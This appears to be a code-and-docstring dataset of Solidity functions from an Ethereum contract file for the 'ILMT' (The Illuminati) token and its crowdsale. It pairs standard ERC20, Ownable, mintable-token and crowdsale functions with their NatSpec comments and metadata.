allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
approve
function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; }
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 1485, 1675 ] }
1,424
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
allowance
function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; }
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 1999, 2130 ] }
1,425
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
increaseApproval
function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 2596, 2860 ] }
1,426
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
StandardToken
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
/** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */
NatSpecMultiLine
decreaseApproval
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; }
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 3331, 3741 ] }
1,427
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
Ownable
function Ownable() public { owner = msg.sender; }
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 261, 321 ] }
1,428
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Ownable
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } }
/** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; }
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 644, 820 ] }
1,429
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
MintableToken
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { _amount = _amount * 1 ether; totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } }
/** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */
NatSpecMultiLine
mint
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { _amount = _amount * 1 ether; totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; }
/** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 483, 788 ] }
1,430
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
MintableToken
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { _amount = _amount * 1 ether; totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } }
/** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */
NatSpecMultiLine
finishMinting
function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; }
/** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 905, 1047 ] }
1,431
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
ILMTToken
contract ILMTToken is Ownable, MintableToken { //Event for Presale transfers //event TokenPreSaleTransfer(address indexed purchaser, address indexed beneficiary, uint256 amount); // Token details string public constant name = "The Illuminati"; string public constant symbol = "ILMT"; // 18 decimal places, the same as ETH. uint8 public constant decimals = 18; /** @dev Constructor. Sets the initial supplies and transfer advisor/founders/presale tokens to the given account @param _owner1 The address of the first owner @param _owner1Percentage The preallocate percentage of tokens belong to the first owner @param _owner2 The address of the second owner @param _owner2Percentage The preallocate percentage of tokens belong to the second owner @param _cap the maximum totalsupply in number of tokens //before multiply to 10**18 */ function ILMTToken (address _owner1, uint8 _owner1Percentage, address _owner2, uint8 _owner2Percentage, uint256 _cap) public { //Total of 100M tokens require(_owner1Percentage+_owner2Percentage<50);//sanity check require(_cap >0); totalSupply = 0; //initialize total supply // 15% for owner1, 15% for owner 2 mint(_owner1, _cap *_owner1Percentage / 100); mint(_owner2, _cap *_owner2Percentage / 100); } }
/** * @title Token Wrapper with constructor * @dev Customized mintable ERC20 Token * @dev Token to support 2 owners only. */
NatSpecMultiLine
ILMTToken
function ILMTToken (address _owner1, uint8 _owner1Percentage, address _owner2, uint8 _owner2Percentage, uint256 _cap) public { //Total of 100M tokens require(_owner1Percentage+_owner2Percentage<50);//sanity check require(_cap >0); totalSupply = 0; //initialize total supply // 15% for owner1, 15% for owner 2 mint(_owner1, _cap *_owner1Percentage / 100); mint(_owner2, _cap *_owner2Percentage / 100); }
/** @dev Constructor. Sets the initial supplies and transfer advisor/founders/presale tokens to the given account @param _owner1 The address of the first owner @param _owner1Percentage The preallocate percentage of tokens belong to the first owner @param _owner2 The address of the second owner @param _owner2Percentage The preallocate percentage of tokens belong to the second owner @param _cap the maximum totalsupply in number of tokens //before multiply to 10**18 */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 896, 1355 ] }
1,432
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale sate variables uint256 constant totalCap = 33*10**6; // Max avaialble number of tokens in total including presale (unit token) uint256 constant crowdSaleCap = 18*10**6*(1 ether); // Max avaialble number of tokens for crowdsale 18 M (unit wei) uint256 constant bonusPeriod = 11 days; //change to 11 days when deploying uint256 constant tokensPerEther = 3300; uint256 public startTime; // Crowdsale start time uint256 public endTime; // Crowdsale end time uint256 public weiRaised = 0; // Total amount ether/wei collected uint256 public tokensMinted = 0; // Total number of tokens minted/sold so far in this crowdsale uint256 public currentRate = 3300; //first_owner receives 90% of ico fund in eth, second_owner receives 10%. //first_owner keeps 25% of token, second_owner keeps 20% token, 55% token for public sale //For transparency this must be hardcoded and uploaded to etherscan.io address constant firstOwner = 0x4F70a11fA322F4614C98AD4D6fEAcAdA55Ce32C2; address constant secondOwner = 0xDf47E759b98a0d95063F44c09a74E2ea33E9f18F; uint8 constant firstOwnerETHPercentage= 90; uint8 constant secondOwnerETHPercentage= 10; uint8 constant firstOwnerTokenPercentage= 25; uint8 constant secondOwnerTokenPercentage= 20; uint256 constant minPurchase = (1*1 ether)/10; //0.1 eth minimum // Event to be registered when a successful token purchase happens event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** Modifiers to verify the status of the crowdsale*/ modifier activeCrowdSale() { require(crowdSaleOn); _; } modifier inactiveCrowdSale() { require(!crowdSaleOn); _; } /** @dev constructor. Intializes the token to be traded using this contract */ function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); } /** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */ function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; } /** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */ function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; } /** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */ function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } } /** @dev fallback function can be used to buy tokens */ function () payable public { buyTokens(msg.sender); } /** @dev low level token purchase function */ function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); } // ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; } }
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
Crowdsale
function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); }
/** @dev constructor. Intializes the token to be traded using this contract */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 2223, 2383 ] }
1,433
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold ILMTToken public token; // the account to which all incoming ether will be transferred // Flag to track the crowdsale status (Active/InActive) bool public crowdSaleOn = false; // Current crowdsale sate variables uint256 constant totalCap = 33*10**6; // Max avaialble number of tokens in total including presale (unit token) uint256 constant crowdSaleCap = 18*10**6*(1 ether); // Max avaialble number of tokens for crowdsale 18 M (unit wei) uint256 constant bonusPeriod = 11 days; //change to 11 days when deploying uint256 constant tokensPerEther = 3300; uint256 public startTime; // Crowdsale start time uint256 public endTime; // Crowdsale end time uint256 public weiRaised = 0; // Total amount ether/wei collected uint256 public tokensMinted = 0; // Total number of tokens minted/sold so far in this crowdsale uint256 public currentRate = 3300; //first_owner receives 90% of ico fund in eth, second_owner receives 10%. //first_owner keeps 25% of token, second_owner keeps 20% token, 55% token for public sale //For transparency this must be hardcoded and uploaded to etherscan.io address constant firstOwner = 0x4F70a11fA322F4614C98AD4D6fEAcAdA55Ce32C2; address constant secondOwner = 0xDf47E759b98a0d95063F44c09a74E2ea33E9f18F; uint8 constant firstOwnerETHPercentage= 90; uint8 constant secondOwnerETHPercentage= 10; uint8 constant firstOwnerTokenPercentage= 25; uint8 constant secondOwnerTokenPercentage= 20; uint256 constant minPurchase = (1*1 ether)/10; //0.1 eth minimum // Event to be registered when a successful token purchase happens event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** Modifiers to verify the status of the crowdsale*/ modifier activeCrowdSale() { require(crowdSaleOn); _; } modifier inactiveCrowdSale() { require(!crowdSaleOn); _; } /** @dev constructor. Intializes the token to be traded using this contract */ function Crowdsale() public { token = new ILMTToken(firstOwner,firstOwnerTokenPercentage,secondOwner,secondOwnerTokenPercentage, totalCap); } /** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */ function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; } /** @dev function to stop crowdsale session.it will be called once for every crowdsale session and it can be called only its owner @return A boolean that indicates if the operation is successful */ function endCrowdsale() activeCrowdSale onlyOwner public returns (bool) { require(now >= endTime); crowdSaleOn = false; token.finishMinting(); return true; } /** @dev function to calculate and return the discounted token rate based on the current timeslot @return _discountedRate for the current timeslot return rate of Y wei per 1 Token) base rate without bonus : 1 ether = 3 300 tokens rate changes after 11 days the first 11 days: 30% bonus, next 11 days: 15% bonus , last 11 day : 0% hardcoded */ function findCurrentRate() constant private returns (uint256 _discountedRate) { uint256 elapsedTime = now.sub(startTime); uint256 baseRate = (1*1 ether)/tokensPerEther; if (elapsedTime <= bonusPeriod){ // x<= 11days _discountedRate = baseRate.mul(100).div(130); }else{ if (elapsedTime < 2*bonusPeriod){ //11days < x <= 22 days _discountedRate = baseRate.mul(100).div(115); }else{ _discountedRate = baseRate; } } } /** @dev fallback function can be used to buy tokens */ function () payable public { buyTokens(msg.sender); } /** @dev low level token purchase function */ function buyTokens(address beneficiary) activeCrowdSale public payable { require(beneficiary != 0x0); require(now >= startTime); require(now <= endTime); require(msg.value >= minPurchase); //enforce minimum value of a tx // amount ether sent to the contract.. normalized to wei uint256 weiAmount = msg.value; weiRaised = weiRaised.add(weiAmount); // Find out Token value in wei ( Y wei per 1 Token) uint256 rate = findCurrentRate(); //uint256 rate = uint256(1 * 1 ether).div(currentRate); require(rate > 0); //update public variable for viewing only, as requested currentRate = (1*1 ether)/rate; // Find out the number of tokens for given wei and normalize to ether so that tokens can be minted // by token contract uint256 numTokens = weiAmount.div(rate); require(numTokens > 0); require(tokensMinted.add(numTokens.mul(1 ether)) <= crowdSaleCap); tokensMinted = tokensMinted.add(numTokens.mul(1 ether)); // Mint the tokens and trasfer to the buyer token.mint(beneficiary, numTokens); TokenPurchase(msg.sender, beneficiary, weiAmount, numTokens); // Transfer the ether to owners according to their share and close the purchase firstOwner.transfer(weiAmount*firstOwnerETHPercentage/100); secondOwner.transfer(weiAmount*secondOwnerETHPercentage/100); } // ETH balance is always expected to be 0 after the crowsale. // but in case something went wrong, we use this function to extract the eth. // Security idea from kyber.network crowdsale // This should never be used function emergencyDrain(ERC20 anyToken) inactiveCrowdSale onlyOwner public returns(bool){ if( this.balance > 0 ) { owner.transfer( this.balance ); } if( anyToken != address(0x0) ) { assert( anyToken.transfer(owner, anyToken.balanceOf(this)) ); } return true; } }
/** * @title Public Token Generation Event for ILMT * credit: part of this contract was created from OpenZeppelin Code * @dev It allows multiple Capped CrowdSales. i.e. every crowdsale with capped token limit. * Simplified the deployment function for owner, just click & start, no configuration parameters */
NatSpecMultiLine
startCrowdsale
function startCrowdsale() inactiveCrowdSale onlyOwner public returns (bool) { startTime = uint256(now); //endTime = now + 33 days; endTime = now + 3*bonusPeriod; crowdSaleOn = true; weiRaised = 0; tokensMinted = 0; return true; }
/** @dev function to start the crowdsale. it will be called once for each crowdsale session @return A boolean that indicates if the operation is successful */
NatSpecMultiLine
v0.4.19-nightly.2017.10.18+commit.f7ca2421
bzzr://001bbf4a5c52dde56f6093d683fc1514327b32502defcca2cf80e5690af43666
{ "func_code_index": [ 2570, 2873 ] }
1,434
Crowdsale
Crowdsale.sol
0x59ef652ed72bc6b7a8b26da7fe39a853a5c8239a
Solidity
Crowdsale
